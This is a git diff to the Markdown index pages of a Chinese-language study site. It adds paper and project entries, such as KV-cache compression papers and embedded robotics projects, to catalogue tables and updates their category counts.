单图、多图、视频一个模型全搞定](/study/papers/llava-onevision-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `llava-video-2024` | [LLaVA-Video — LLaVA-NeXT 视频主线,合成数据 + SlowFast 采帧](/study/papers/llava-video-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `llm-int8-2022` | [LLM.int8() — 大模型激活值里藏着几个超大异常通道](/study/papers/llm-int8-2022/) | ✅ v3 | 图形学 | GPU 架构 | +| `llm-serving-needs-math` | [LLM Serving Needs Mathematical Optimization, Not Just Heuristics — 零基础学习笔记](/study/papers/llm-serving-needs-math/) | ✅ v3 | 机器学习 | 模型与训练 | | `llm-wiki-retrieval-reasoning` | [LLM-Wiki — 把外部知识编译成 agent 自己的"维基"](/study/papers/llm-wiki-retrieval-reasoning/) | ✅ v3 | Agent | 智能体与 LLM | +| `llmsurgeon-data-mixture` | [LLMSurgeon — 从生成文本反推大模型预训练数据配比](/study/papers/llmsurgeon-data-mixture/) | ✅ v3 | 机器学习 | 模型与训练 | | `llmvs-2025` | [LLMVS — 用 LLM 语义裁判给视频帧打分做摘要](/study/papers/llmvs-2025/) | ✅ v3 | 机器学习 | 视频理解 | | `llvm` | [LLVM — 模块化编译器框架](/study/papers/llvm/) | 🗄 存量 | 编译器 | 编译器 | | `lmdb-2011` | [LMDB 2011 — 把数据库直接 mmap 进内存的嵌入式 KV 存储](/study/papers/lmdb-2011/) | ✅ v3 | 数据库 | 存储与查询 | @@ -1842,6 +1891,7 @@ sidebar: | `mcfarling-bp-1993` | [McFarling 1993 — 用 XOR 把全局历史和 PC 拧在一起,再让两个预测器打擂台](/study/papers/mcfarling-bp-1993/) | ✅ v3 | 图形学 | GPU 架构 | | `mcmahan-fedavg-2017` | [FedAvg — 联邦学习奠基算法](/study/papers/mcmahan-fedavg-2017/) | ✅ v3 | 安全与隐私 | 安全与隐私 | | `mcmillan-smv-1993` | [McMillan SMV 1993 — 把状态空间从 10^6 推到 10^20 的符号模型检测](/study/papers/mcmillan-smv-1993/) | ✅ v3 | 形式化方法 | 形式化验证 | +| `mcp-is-dead-debate` | [MCP Is Dead? — 2026 年协议存废之争零基础笔记](/study/papers/mcp-is-dead-debate/) | ✅ v3 | 后端 API | Web 后端 | | `mcp-spec` | [MCP — 让一个 LLM 客户端能插任何外部能力的 USB 协议](/study/papers/mcp-spec/) | ✅ v3 | 机器学习 | AI 工程 | | `mcs-locks-1991` | [MCS 锁 — 让每个线程自旋在自己的缓存行上](/study/papers/mcs-locks-1991/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `meagher-1982-octree` | [Meagher 1982 八叉树 — 把立方体一分为八,递归地装下一整个 3D 世界](/study/papers/meagher-1982-octree/) | ✅ v3 | 图形学 | 渲染与图形 | @@ -1850,6 +1900,7 @@ sidebar: | `megatron-lm` | [Megatron-LM — NVIDIA 大规模训练框架](/study/papers/megatron-lm/) | ✅ v3 | 分布式系统 | 模型与训练 | | `memcached-fb-2013` | [Scaling Memcache at Facebook — 万台缓存怎么不被踩塌](/study/papers/memcached-fb-2013/) | ✅ v3 | 分布式系统 | 共识与复制 | | `memcoder-co-evolution` | [MemCoder — code agent 跟着你 git commit 一起成长](/study/papers/memcoder-co-evolution/) | ✅ v3 | Agent | 智能体与 LLM | +| `memory-tool-use-agents` | [When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?](/study/papers/memory-tool-use-agents/) | ✅ v3 | 机器学习 | 模型与训练 | | `mencius-2008` | [Mencius — 让多台服务器轮流当 Paxos 的 leader](/study/papers/mencius-2008/) | ✅ v3 | 分布式系统 | 共识与复制 | | `mermaid` | [Mermaid — 用文本写图,让代码评审能 diff 流程图](/study/papers/mermaid/) | ✅ v3 | 基础设施 | 工具与基础设施 | | `mesa-optimization-2019` | [Mesa-Optimization 2019 — 训出来的模型自己也是个优化器](/study/papers/mesa-optimization-2019/) | ✅ v3 | 机器学习 | 模型与训练 | @@ -1906,6 +1957,7 @@ sidebar: | `nbeats-2020` | [N-BEATS — 纯前馈网络在时序预测上打败统计派](/study/papers/nbeats-2020/) | ✅ v3 | 机器学习 | 模型与训练 | | `nelson-oppen-1979` | [Nelson-Oppen 1979 — 让多个判定程序坐下来交换"我刚发现 a=b"](/study/papers/nelson-oppen-1979/) | ✅ v3 | 形式化方法 | 形式化验证 | | `nerf-2020` | [NeRF — 用一个 MLP 把整个场景"背"下来](/study/papers/nerf-2020/) | ✅ v3 | 图形学 | 渲染与图形 | +| `nestedkv` | [NestedKV — 嵌套内存路由实现长上下文 KV Cache 压缩](/study/papers/nestedkv/) | ✅ v3 | 机器学习 | 模型与训练 | | `netflix-bellkor-2009` | [BellKor Netflix Prize 2009 — 集成学习赢下 100 万美金的工程实录](/study/papers/netflix-bellkor-2009/) | ✅ v3 | 信息检索 | 检索与排序 | | `netkat-2014` | [NetKAT 2014 — 把网络转发写成可以做数学等式变换的代数式](/study/papers/netkat-2014/) | ✅ v3 | 网络协议 | 网络协议 | | `neumann-2015-large-joins` | [Adaptive Optimization of Very Large Join Queries — 100 张表也敢精确求解](/study/papers/neumann-2015-large-joins/) | ✅ v3 | 数据库 | 存储与查询 | @@ -1928,6 +1980,7 @@ sidebar: | `nvme-protocol-2017` | [NVMe — 为 SSD 重写的存储协议](/study/papers/nvme-protocol-2017/) | ✅ v3 | 图形学 | GPU 架构 | | `oauth-2.1-rfc` | [OAuth 2.1 — 把十年 OAuth 实战经验收口成一份能直接用的规范](/study/papers/oauth-21-rfc/) | ✅ v3 | 后端 API | 后端 | | `okapi-bm25-1994` | [Robertson-Walker 1994 — 把 2-Poisson 压成一行能算的公式](/study/papers/okapi-bm25-1994/) | ✅ v3 | 信息检索 | 检索与排序 | +| `oltp-looking-glass` | [OLTP Through the Looking Glass — 传统数据库的 20 倍开销从哪来](/study/papers/oltp-looking-glass/) | ✅ v3 | 数据库 | 存储与查询 | | `omagent-2024` | [OmAgent — 长视频分治 Agent 与回退检索](/study/papers/omagent-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `omega-2013` | [Omega 2013 — 让多个调度器同时改一份 cluster 状态](/study/papers/omega-2013/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `omnidirectional-mllm-2025` | [全景空间推理 — MLLM 准备好面对 360° 了吗](/study/papers/omnidirectional-mllm-2025/) | ✅ v3 | 机器学习 | 视频理解 | @@ -1939,6 +1992,7 @@ sidebar: | `optuna` | [Optuna — 让超参搜索像写普通 Python 代码一样自然](/study/papers/optuna/) | ✅ v3 | 机器学习 | 机器学习 / 超参优化 | | `orca-2022` | [Orca — Transformer 生成模型的分布式推理调度](/study/papers/orca-2022/) | ✅ v3 | 图形学 | GPU 架构 | | `orca-continuous-batching` | [Orca — 让一批 LLM 请求随到随走,不再排队等最长那个](/study/papers/orca-continuous-batching/) | ✅ v3 | 机器学习 | 模型与训练 | +| `oscar-int2-kv` | [OSCAR — 面向 2-bit KV Cache 的离线谱协方差感知旋转](/study/papers/oscar-int2-kv/) | ✅ v3 | 机器学习 | 模型与训练 | | `ot-1989` | [OT — 多人同时改一份文档,操作随上下文自动改坐标](/study/papers/ot-1989/) | ✅ v3 | 分布式系统 | 共识与复制 | | `owens-2007-gpgpu-survey` | [Owens 2007 GPGPU 综述 — CUDA 之前 GPU 通用计算的黑魔法时代](/study/papers/owens-2007-gpgpu-survey/) | ✅ v3 | 图形学 | 渲染与图形 | | `p4-2014` | [P4 — 让交换机的转发逻辑像写代码一样改](/study/papers/p4-2014/) | ✅ v3 | 网络协议 | 网络协议 | @@ -1988,6 +2042,7 @@ sidebar: | `quic` | [QUIC — 把可靠传输从内核搬到用户空间](/study/papers/quic/) | ✅ v3 | 网络协议 | 计算机网络 | | `quincy-2009` | [Quincy — 把"派活给机器"变成一道最小费用流题](/study/papers/quincy-2009/) | ✅ v3 | 分布式系统 | 共识与复制 | | `qvhighlights-2021` | [QVHighlights — 用自然语言查询在视频里找精彩瞬间](/study/papers/qvhighlights-2021/) | ✅ v3 | 机器学习 | 视频理解 | +| `qwen-vla` | [Qwen-VLA — 跨任务、环境与具身的统一视觉-语言-动作建模](/study/papers/qwen-vla/) | ✅ v3 | 机器学习 | 模型与训练 | | `qwen2-5-vl-2025` | [Qwen2.5-VL — 绝对时间编码 + 动态分辨率,小时级视频原生理解](/study/papers/qwen2-5-vl-2025/) | ✅ v3 | 机器学习 | 视频理解 | | `qwen2-vl-2024` | [Qwen2-VL — 动态分辨率 + M-RoPE,工业级视频理解的里程碑](/study/papers/qwen2-vl-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `r-bgp-2007` | [R-BGP 2007 — 故障切换前先把备份路径塞进邻居口袋](/study/papers/r-bgp-2007/) | ✅ v3 | 网络协议 | 网络协议 | @@ -2006,6 +2061,7 @@ sidebar: | `reflexion` | [Reflexion — 让 LLM 自我反思](/study/papers/reflexion/) | ✅ v3 | 机器学习 | 智能体与 LLM | | `reformer-2020` | [Reformer — 用哈希分桶把 attention 从 O(L²) 压到 O(L log L)](/study/papers/reformer-2020/) | ✅ v3 | 机器学习 | 模型与训练 | | `regev-lwe-2005` | [On Lattices, Learning with Errors, Random Linear Codes, and Cryptography](/study/papers/regev-lwe-2005/) | ✅ v3 | 安全与隐私 | 安全与隐私 | +| `rendering-diffs` | [On Rendering Diffs — 浏览器里渲染代码 diff 为何比看起来难得多](/study/papers/rendering-diffs/) | ✅ v3 | CLI | 编辑器与 IDE | | `replug-2023` | [REPLUG — 不动 LLM 一根毛,只把检索器调到它的"口味"上](/study/papers/replug-2023/) | ✅ v3 | 机器学习 | 模型与训练 | | `reps-ifds` | [Reps-Horwitz-Sagiv IFDS — 把跨过程分析变成图上找路](/study/papers/reps-ifds/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `resnet` | [ResNet — 残差连接](/study/papers/resnet/) | ✅ v3 | 机器学习 | 计算机视觉 / 深度学习 | @@ -2104,10 +2160,12 @@ sidebar: | `sparrow-2013` | [Sparrow — 让毫秒级任务也能被精准调度的去中心化调度器](/study/papers/sparrow-2013/) | ✅ v3 | 分布式系统 | 共识与复制 | | `sparse-autoencoders` | [Sparse Autoencoders — 把 superposition 解出来](/study/papers/sparse-autoencoders/) | 🗄 存量 | 机器学习 | AI 可解释性 | | `sparsegpt-2023` | [SparseGPT — 175B 大模型一次过剪 50%,不重训](/study/papers/sparsegpt-2023/) | ✅ v3 | 图形学 | GPU 架构 | +| `spec-agent-separation-logic` | [Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约](/study/papers/spec-agent-separation-logic/) | ✅ v3 | 形式化方法 | 形式化验证 | | `specinfer-2023` | [SpecInfer — 让大模型一次"猜一棵树"再并行验证](/study/papers/specinfer-2023/) | ✅ v3 | 图形学 | GPU 架构 | | `splade-2021` | [SPLADE — 让神经网络学出稀疏向量,直接复用倒排索引](/study/papers/splade-2021/) | ✅ v3 | 信息检索 | 检索与排序 | | `sprite-1988` | [Sprite 1988 — 把一屋子工作站伪装成一台大主机](/study/papers/sprite-1988/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `sqlite-2022` | [SQLite — 嵌入式数据库 30 年怎么活下来的](/study/papers/sqlite-2022/) | ✅ v3 | 数据库 | 存储与查询 | +| `sqlite-durable-workflows` | [SQLite is All You Need for Durable Workflows — 用单文件数据库做持久化工作流](/study/papers/sqlite-durable-workflows/) | ✅ v3 | 数据库 | 存储与查询 | | `ssa` | [SSA — 静态单赋值形式](/study/papers/ssa/) | 🗄 存量 | 编译器 | 编译器 | | `st-llm-2024` | [ST-LLM — 把所有时空 token 交给 LLM,让它自己学时序](/study/papers/st-llm-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `stable-diffusion` | [Stable Diffusion — 开源文生图引爆](/study/papers/stable-diffusion/) | ✅ v3 | 机器学习 | 生成模型 | @@ -2119,6 +2177,7 @@ sidebar: | `steensgaard-pointer` | [Steensgaard 指针分析 — 用等价合并把指针分析压到几乎线性](/study/papers/steensgaard-pointer/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `stm-shavit-touitou` | [STM Shavit-Touitou — 把"加锁"改成"事务"的源头](/study/papers/stm-shavit-touitou/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `stonebraker-2010-sqlnosql` | [Stonebraker 2010 SQL vs NoSQL — 慢的是老实现,不是 SQL](/study/papers/stonebraker-2010-sqlnosql/) | ✅ v3 | 数据库 | 存储与查询 | +| `storm-multi-agent-state` | [STORM — 面向多智能体协作的状态导向管理](/study/papers/storm-multi-agent-state/) | ✅ v3 | 机器学习 | 模型与训练 | | `streamingbench-2024` | [StreamingBench — 流式视频理解的 18 任务在线大考](/study/papers/streamingbench-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `strongtalk` | [Strongtalk — 可以装可以卸的 Smalltalk 类型系统](/study/papers/strongtalk/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `stylegan2-2020` | [StyleGAN2 — 把 StyleGAN 的水滴瑕疵和潜空间纠葛一起修掉](/study/papers/stylegan2-2020/) | ✅ v3 | 机器学习 | 模型与训练 | @@ -2173,6 +2232,7 @@ sidebar: | `traveler-2024` | [TraveLER — 四段式多 Agent,帧级问答看懂长视频](/study/papers/traveler-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `tree-of-thoughts-2023` | [Tree of Thoughts — 让 LLM 像下棋一样多想几步再答](/study/papers/tree-of-thoughts-2023/) | ✅ v3 | 机器学习 | 模型与训练 | | `trees-that-grow` | [Trees that Grow — 可扩展的语法树设计](/study/papers/trees-that-grow/) | ✅ v3 | 编程语言 | 编程语言 | +| `triaxialkv` | [TriAxialKV — Agent 推理场景下的极低精度 KV Cache 混合量化](/study/papers/triaxialkv/) | ✅ v3 | 机器学习 | 模型与训练 | | `trill-2014` | [Trill — 一个引擎同时跑流、批、交互三种分析](/study/papers/trill-2014/) | ✅ v3 | 数据库 | 存储与查询 | | `triton-2019` | [Triton 2019 — 让 Python 写出贴近 cuBLAS 的 GPU kernel](/study/papers/triton-2019/) | ✅ v3 | 图形学 | GPU 架构 | | `triton-llm` | [Triton — 让 Python 程序员也能写出贴近 cuBLAS 的 GPU kernel](/study/papers/triton-llm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | @@ -2180,6 +2240,7 @@ sidebar: | `turchin-supercompilation` | [Turchin Supercompilation — 让编译器把程序模拟一遍再写回去](/study/papers/turchin-supercompilation/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `turing-1936` | [Turing 1936 可计算性](/study/papers/turing-1936/) | ✅ v3 | 编程语言 | 计算理论 | | `turing-architecture-2018` | [NVIDIA Turing — RT Core 把光追装进消费卡,Tensor Core 第二代下放 INT8](/study/papers/turing-architecture-2018/) | ✅ v3 | 图形学 | GPU 架构 | +| `tutti-ssd-kv-cache` | [Tutti — 让 SSD 上的 KV Cache 真正可用于长上下文 LLM 推理](/study/papers/tutti-ssd-kv-cache/) | ✅ v3 | 机器学习 | 模型与训练 | | `tvm` | [TVM — 让一份模型能在所有硬件上跑得快](/study/papers/tvm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `tvm-2018` | [TVM OSDI 2018 — 把 Halide 思想搬到深度学习](/study/papers/tvm-2018/) | ✅ v3 | 图形学 | GPU 架构 | | `twine-2020` | [Twine — Facebook 把整个数据中心当一台机器调度](/study/papers/twine-2020/) | ✅ v3 | 操作系统 | 内核与虚拟化 | @@ -2196,8 +2257,10 @@ sidebar: | `vega-lite` | [Vega-Lite — 用 JSON 三段式画复合图](/study/papers/vega-lite/) | ✅ v3 | 数据可视化 | 数据可视化 | | `vellvm` | [Vellvm — 在 Coq 里给 LLVM IR 写一份机器证明的语义](/study/papers/vellvm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `verdi-2015` | [Verdi — 在 Coq 里完整证明 Raft 协议的分布式系统验证框架](/study/papers/verdi-2015/) | ✅ v3 | 形式化方法 | 形式化验证 | +| `vericache` | [VeriCache — 把有损 KV Cache 变成无损 LLM 推理](/study/papers/vericache/) | ✅ v3 | 机器学习 | 模型与训练 | | `verisoft-2008` | [Verisoft — 把整台计算机从晶体管到邮件客户端全部用数学证完](/study/papers/verisoft-2008/) | ✅ v3 | 形式化方法 | 形式化验证 | | `vertica-2012` | [Vertica 2012 — C-Store 论文走向产品的七年改造账](/study/papers/vertica-2012/) | ✅ v3 | 数据库 | 存储与查询 | +| `vibeserve` | [VibeServe — 零基础学习笔记](/study/papers/vibeserve/) | ✅ v3 | 机器学习 | 模型与训练 | | `vid-llm-survey-2023` | [Vid-LLM Survey — 用大语言模型理解视频的全景地图](/study/papers/vid-llm-survey-2023/) | ✅ v3 | 机器学习 | 视频理解 | | `video-chatgpt-2023` | [Video-ChatGPT — 让大语言模型看懂视频并聊起来](/study/papers/video-chatgpt-2023/) | ✅ v3 | 机器学习 | 视频理解 | | `video-llama-2023` | [Video-LLaMA — 把音频和视频同时塞进大语言模型](/study/papers/video-llama-2023/) | ✅ v3 | 机器学习 | 视频理解 | @@ -2213,6 +2276,7 @@ sidebar: | `videoprism-2024` | [VideoPrism — 冻结一个模型就能搞定所有视频理解任务](/study/papers/videoprism-2024/) | ✅ v3 | 机器学习 | 视频理解 | | `vidstg-2020` | [VidSTG — 用自然语言在长视频里框出「谁在何时何地」](/study/papers/vidstg-2020/) | ✅ v3 | 机器学习 | 视频理解 | | `vinoground-2024` | [Vinoground — 时序反事实短视频探针](/study/papers/vinoground-2024/) | ✅ v3 | 机器学习 | 视频理解 | +| `visualthink-vla` | [VisualThink-VLA — 用「视觉中间推理」做低延迟的机器人策略](/study/papers/visualthink-vla/) | ✅ v3 | 机器学习 | 模型与训练 | | `vit` | [ViT — Vision Transformer](/study/papers/vit/) | ✅ v3 | 机器学习 | 计算机视觉 | | `vl2-2009` | [VL2 — 让一万台服务器像在同一台交换机上](/study/papers/vl2-2009/) | ✅ v3 | 网络协议 | 网络协议 | | `vllm` | [vLLM — 把操作系统的分页搬进 GPU KV cache](/study/papers/vllm/) | ✅ v3 | 机器学习 | 数据科学与 AI | @@ -2242,6 +2306,7 @@ sidebar: | `wide-deep-2016` | [Wide & Deep — 让模型同时学会"记住"和"举一反三"](/study/papers/wide-deep-2016/) | ✅ v3 | 信息检索 | 检索与排序 | | `williams-1983-mipmap` | [Williams 1983 mipmap — 提前烤好金字塔,纹理过滤变 O(1)](/study/papers/williams-1983-mipmap/) | ✅ v3 | 图形学 | 渲染与图形 | | `wireguard-2017` | [WireGuard: Next Generation Kernel Network Tunnel](/study/papers/wireguard-2017/) | ✅ v3 | 网络协议 | 网络协议 | +| `wisckey` | [WiscKey — 把 Key 和 Value 拆开,让 SSD 上的 LSM 树少干冤枉活](/study/papers/wisckey/) | ✅ v3 | 数据库 | 存储与查询 | | `word2vec` | [Word2Vec — 词向量奠基](/study/papers/word2vec/) | ✅ v3 | NLP | NLP | | `world-model-robot-learning-2026` | [机器人世界模型综述 — 预测未来再动手](/study/papers/world-model-robot-learning-2026/) | ✅ v3 | 机器学习 | 机器人与 VLA | | `worldsense-2025` | [WorldSense — 真实世界同步音视频理解 benchmark](/study/papers/worldsense-2025/) | ✅ v3 | 机器学习 | 视频理解 | @@ -2250,6 +2315,7 @@ sidebar: | `xlnet-2019` | [XLNet — 把句子打乱顺序读,借此同时拿到 AR 和双向](/study/papers/xlnet-2019/) | ✅ v3 | 机器学习 | 模型与训练 | | `xtrace-2007` | [X-Trace — 比 Dapper 早 3 年的跨层跨协议追踪框架](/study/papers/xtrace-2007/) | ✅ v3 | 分布式系统 | 共识与复制 | | `yao-garbled-circuits-1986` | [Yao 混淆电路 — 让两人合算函数却互不泄密](/study/papers/yao-garbled-circuits-1986/) | ✅ v3 | 安全与隐私 | 安全与隐私 | +| `yocto-alternatives` | [You probably don't need Yocto, and that's fine — 嵌入式 Linux 不必默认上 Yocto](/study/papers/yocto-alternatives/) | ✅ v3 | 操作系统 | 嵌入式 | | `youtube-two-tower-2019` | [YouTube 双塔召回 — 把 DSSM 搬进推荐并补上两件工业关键](/study/papers/youtube-two-tower-2019/) | ✅ v3 | 信息检索 | 检索与排序 | | `z3-2008` | [Z3 2008 — 把 SMT 工程化到工业默认](/study/papers/z3-2008/) | ✅ v3 | 形式化方法 | 形式化验证 | | `zab-2011` | [Zab — ZooKeeper 怎么把客户端写入按顺序复制到所有副本](/study/papers/zab-2011/) | ✅ v3 | 数据库 | 存储与查询 | diff --git a/src/content/docs/projects-atlas.md b/src/content/docs/projects-atlas.md index fdf5a357c..d27143a91 100644 --- a/src/content/docs/projects-atlas.md +++ b/src/content/docs/projects-atlas.md @@ -1,6 +1,6 @@ --- title: 项目全景索引 -description: 862 个项目 · 按一级主题与子分类 · 自动从 frontmatter 生成 +description: 904 个项目 · 按一级主题与子分类 · 自动从 frontmatter 生成 sidebar: order: 5 label: 项目全景索引 @@ -11,8 +11,8 @@ sidebar: ## 总览 -- **总数**:862 个 -- **已分类**:862 +- **总数**:904 个 +- **已分类**:904 ### 按一级主题分布 @@ -20,17 +20,18 @@ sidebar: |---|---:| | [分布式系统](#分布式系统) | 5 | | [数据库](#数据库) | 94 | -| [操作系统](#操作系统) | 21 | -| [机器学习](#机器学习) | 94 | +| [操作系统](#操作系统) | 38 | +| [机器学习](#机器学习) | 93 | | [区块链](#区块链) | 60 | -| [后端 API](#后端-api) | 193 | +| [后端 API](#后端-api) | 196 | | [基础设施](#基础设施) | 72 | -| [图形学](#图形学) | 19 | +| [图形学](#图形学) | 20 | | [通信](#通信) | 100 | | [Agent](#agent) | 1 | -| [CLI](#cli) | 123 | -| [编译器](#编译器) | 14 | +| [CLI](#cli) | 141 | +| [编译器](#编译器) | 17 | | [数据可视化](#数据可视化) | 66 | +| [其他](#其他) | 1 | --- @@ -168,7 +169,7 @@ sidebar: ## 操作系统 -共 21 个。 +共 38 个。 ### 嵌入式 @@ -177,28 +178,45 @@ sidebar: | [Arduino CLI — 命令行驱动嵌入式全流程工具链](/study/projects/arduino-cli/) | ✅ v3 | | | [Buildroot — 用 Make 给嵌入式板子烤一张完整 Linux 镜像](/study/projects/buildroot/) | ✅ v3 | | | [CircuitPython — 插上 USB 就能写 Python 的微控制器运行时](/study/projects/circuitpython/) | ✅ v3 | | +| [CMSIS-NN — Cortex-M 上的「神经网络专用工具箱」](/study/projects/cmsis-nn/) | ✅ v3 | | | [Embassy — 嵌入式 Rust 的 async/await 运行时](/study/projects/embassy/) | ✅ v3 | | | [embedded-hal — 让同一份驱动代码跑在任意芯片上](/study/projects/embedded-hal/) | ✅ v3 | | +| [ESP-DL — 乐鑫芯片上的「袖珍 AI 放映机」](/study/projects/esp-dl/) | ✅ v3 | | | [FreeModbus — 嵌入式 Modbus RTU/TCP 从机协议栈](/study/projects/freemodbus/) | ✅ v3 | | | [FreeRTOS-Kernel — KB 级 RAM 跑得动的可抢占多任务内核](/study/projects/freertos/) | ✅ v3 | | +| [Gazebo Classic — 机器人仿真零基础入门](/study/projects/gazebo-classic/) | ✅ v3 | | +| [Grbl — 让 Arduino 听懂 G-code 的 CNC「翻译官」](/study/projects/grbl/) | ✅ v3 | | | [GStreamer — 流水线式多媒体框架](/study/projects/gstreamer/) | ✅ v3 | element/pad/caps 模型 | | [Janus WebRTC Gateway](/study/projects/janus-gateway/) | ✅ v3 | C 语言 WebRTC 网关,插件架构支持 SFU/录制/流转推 | +| [Klipper — 把 3D 打印机的「大脑」和「手脚」拆开的固件架构](/study/projects/klipper/) | ✅ v3 | | +| [LinuxCNC — 在 Linux 上跑完整 CNC「机床操作系统」](/study/projects/linuxcnc/) | ✅ v3 | | +| [LoRaMac-node — LoRaWAN 终端协议栈参考实现零基础学习笔记](/study/projects/lora-mac-node/) | ✅ v3 | | | [lwIP — ~40KB ROM 跑完整 TCP/IP 的嵌入式网络栈](/study/projects/lwip/) | ✅ v3 | | +| [Marlin Firmware — 3D 打印机的「一体式管家固件」](/study/projects/marlin/) | ✅ v3 | | | [Mbed TLS — 嵌入式设备的 TLS 1.3 / X.509 / 加密原语库](/study/projects/mbedtls/) | ✅ v3 | | | [MicroPython — 在 MCU 上跑 Python 3 的精简实现](/study/projects/micropython/) | ✅ v3 | | +| [Eclipse Mosquitto — 轻量级 MQTT 消息代理,物联网的「社区广播站」](/study/projects/mosquitto/) | ✅ v3 | | +| [MoveIt 2 — 机械臂运动规划零基础入门](/study/projects/moveit2/) | ✅ v3 | | +| [NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker](/study/projects/nanomq/) | ✅ v3 | | +| [Navigation2 (Nav2) — 移动机器人导航零基础入门](/study/projects/navigation2/) | ✅ v3 | | +| [ncnn — 手机上的「无依赖神经网络放映机」](/study/projects/ncnn/) | ✅ v3 | | | [Apache NuttX — POSIX 接近完整的小型实时操作系统](/study/projects/nuttx/) | ✅ v3 | | | [OpenThread — Google 开源的 Thread mesh 网络协议栈](/study/projects/openthread/) | ✅ v3 | | | [OpenWrt — 路由器 / 网关上的可扩展 Linux 发行版](/study/projects/openwrt/) | ✅ v3 | | +| [Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」](/study/projects/paddle-lite/) | ✅ v3 | | | [PlatformIO Core — 一套命令行,统管千块嵌入式开发板](/study/projects/platformio-core/) | ✅ v3 | | | [probe-rs — Rust 写的嵌入式烧录与调试工具](/study/projects/probe-rs/) | ✅ v3 | | +| [ROS 2 — 机器人操作系统零基础入门](/study/projects/ros2/) | ✅ v3 | | | [RT-Thread — 中文社区主导的物联网 RTOS](/study/projects/rt-thread/) | ✅ v3 | | +| [sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记](/study/projects/sdk-nrf/) | ✅ v3 | | | [smoltcp — 不依赖操作系统的 Rust TCP/IP 协议栈](/study/projects/smoltcp/) | ✅ v3 | | +| [TensorFlow Lite Micro — 把神经网络塞进几 KB RAM 的「袖珍推理引擎」](/study/projects/tflite-micro/) | ✅ v3 | | | [Yocto Project (poky) — 工业级嵌入式 Linux 定制构建系统](/study/projects/yocto-poky/) | ✅ v3 | | | [Zephyr — 一份代码树跑遍所有嵌入式芯片的开源 RTOS](/study/projects/zephyr/) | ✅ v3 | | ## 机器学习 -共 94 个。 +共 93 个。 ### 视频理解 @@ -302,7 +320,6 @@ sidebar: | 项目 | 质量 | 描述 | |---|:---:|---| -| [browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架](/study/projects/browser-use/) | ✅ v3 | | | [Claude Agent SDK — 把 Claude Code 装进 npm 包](/study/projects/claude-agent-sdk/) | ✅ v3 | | | [Claude Code — Anthropic 终端编程助手](/study/projects/claude-code/) | ✅ v3 | | | [Continue — 让 AI code review 跑成 git 跟踪的 PR status check](/study/projects/continue/) | ✅ v3 | | @@ -385,7 +402,7 @@ sidebar: ## 后端 API -共 193 个。 +共 196 个。 ### 前端 @@ -434,6 +451,7 @@ sidebar: | [electron-builder — 一条命令把 Electron 应用打包发布到全平台](/study/projects/electron-builder/) | ✅ v3 | | | [Electron Forge — 官方一体化桌面应用构建流水线](/study/projects/electron-forge/) | ✅ v3 | | | [Expo — RN 的"开箱即用"工具链 + 云构建 + OTA 更新](/study/projects/expo/) | ✅ v3 | | +| [Flame — Flutter 上的 2D 游戏引擎](/study/projects/flame/) | ✅ v3 | | | [Flutter — Google 自绘像素的跨平台 UI 框架](/study/projects/flutter/) | ✅ v3 | | | [flutter-rust-bridge — Dart 调 Rust 像调本地函数](/study/projects/flutter-rust-bridge/) | ✅ v3 | | | [Ionic Framework — 用 Web 技术打包原生移动 App](/study/projects/ionic-framework/) | ✅ v3 | | @@ -444,6 +462,7 @@ sidebar: | [React Native — 用 React 写、编译成真正的原生 App](/study/projects/react-native/) | ✅ v3 | | | [Tauri — Rust 写的 Electron 替代,用系统 webview 打包桌面/移动端应用](/study/projects/tauri/) | ✅ v3 | | | [Wails — 用 Go 写后端、Web 写 UI 的跨平台桌面框架](/study/projects/wails/) | ✅ v3 | | +| [WebdriverIO — Node.js 下一代浏览器与移动端自动化测试框架](/study/projects/webdriverio/) | ✅ v3 | | ### Meta 框架 @@ -527,6 +546,7 @@ sidebar: | [chi — Go 标准库友好的轻量 HTTP router](/study/projects/chi/) | ✅ v3 | | | [ConnectRPC — 让 gRPC 在浏览器里裸跑的 RPC 协议](/study/projects/connect-rpc/) | ✅ v3 | | | [Django — 全功能 batteries-included 的 Python web 框架](/study/projects/django/) | 🗄 存量 | | +| [drizzle-orm](/study/projects/drizzle-orm/) | ✅ v3 | | | [Dropwizard — Java 微服务的"开箱即用 12-factor 起步包"](/study/projects/dropwizard/) | ✅ v3 | | | [Echo — 极简高性能 Go 框架,5 行起服务](/study/projects/echo/) | ✅ v3 | | | [Encore — 类型安全 Go/TS 后端框架,基础设施即代码](/study/projects/encore/) | ✅ v3 | | @@ -728,7 +748,7 @@ sidebar: ## 图形学 -共 19 个。 +共 20 个。 ### 渲染与图形 @@ -751,6 +771,7 @@ sidebar: | [raylib — 极简 C 游戏库,10 行代码跑起带窗口动画](/study/projects/raylib/) | ✅ v3 | | | [regl — 函数式 WebGL 封装](/study/projects/regl/) | ✅ v3 | | | [three.js — Web 3D 事实标准](/study/projects/threejs/) | ✅ v3 | | +| [twgl.js — 把 WebGL 样板代码压成几行 helper 的微型工具库](/study/projects/twgl/) | ✅ v3 | | ### 其他子类 @@ -890,35 +911,53 @@ sidebar: ## CLI -共 123 个。 +共 141 个。 ### 编辑器与 IDE | 项目 | 质量 | 描述 | |---|:---:|---| +| [Aider — 终端 AI 结对编程 CLI](/study/projects/aider/) | ✅ v3 | | +| [Anytype — 本地优先块编辑器](/study/projects/anytype-ts/) | ✅ v3 | | | [AstroNvim — 社区驱动 Neovim 配置框架](/study/projects/astronvim/) | ✅ v3 | | 